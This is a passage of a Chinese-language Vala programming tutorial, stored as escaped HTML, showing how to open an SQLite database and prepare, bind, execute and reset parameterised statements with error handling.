class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当然,可以不用这么麻烦,这只是一个例子。\u003c/p\u003e\n\u003ch2 id=\"sqlite-3-库\"\u003eSQLite 3 库\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.sqlite.org/index.html\" target=\"_blank\" rel=\"noopener\"\n \u003eSQLite\u003c/a\u003e 是一个库,实现了很完备的关系数据库。它将数据库存在一个文件里,使用的时候,调用 SQLite 库相应的函数,来对这个文件数据库进行基本操作。\u003c/p\u003e\n\u003cp\u003e这东西是一个 C 语言库。但 Vala 可以使用 C 库,它使用 vapi 文件来对应 C 的头文件。(实际上 Vala 也可以写 C 语言库,毕竟这玩意最后还是会变成 C 语言来编译。)\u003c/p\u003e\n\u003cp\u003e所以说,Vala 的 SQLite 库用起来应该和 C 语言的差不多。不过请注意,Vala 是面向对象的,而 SQLite 的库在引用到 Vala 的时候,做了面向对象的处理。\u003c/p\u003e\n\u003cp\u003e使用前,引用这个库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"数据库类\"\u003e数据库类\u003c/h3\u003e\n\u003cp\u003e如此定义一个数据库对象:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e打开数据库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen_v2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e执行语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"数据库声明类\"\u003e数据库声明类\u003c/h3\u003e\n\u003cp\u003e定义方式如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eadd_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e准备声明:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprepare\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 加不加 v2 都行,需要 sql 语句字符串,字符串长度,输出到一个 statement 类\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprepare_v2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePREPARATION_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Cannot prepare satement for %s: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e绑定声明:\u003c/p\u003e\n\u003cp\u003e绑定依然有一系列的函数,此处只看绑定字符串\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebind_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这是寻找 statement 中 stmt 的位置\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebind_parameter_index\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBIND_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Could not bind %s: %s not found in the statement %s.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 绑定,index 是索引,text 是要绑定的字符串\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebind_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBIND_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Could not bind %s: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e执行声明并清除绑定:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 执行声明\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 清除绑定\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 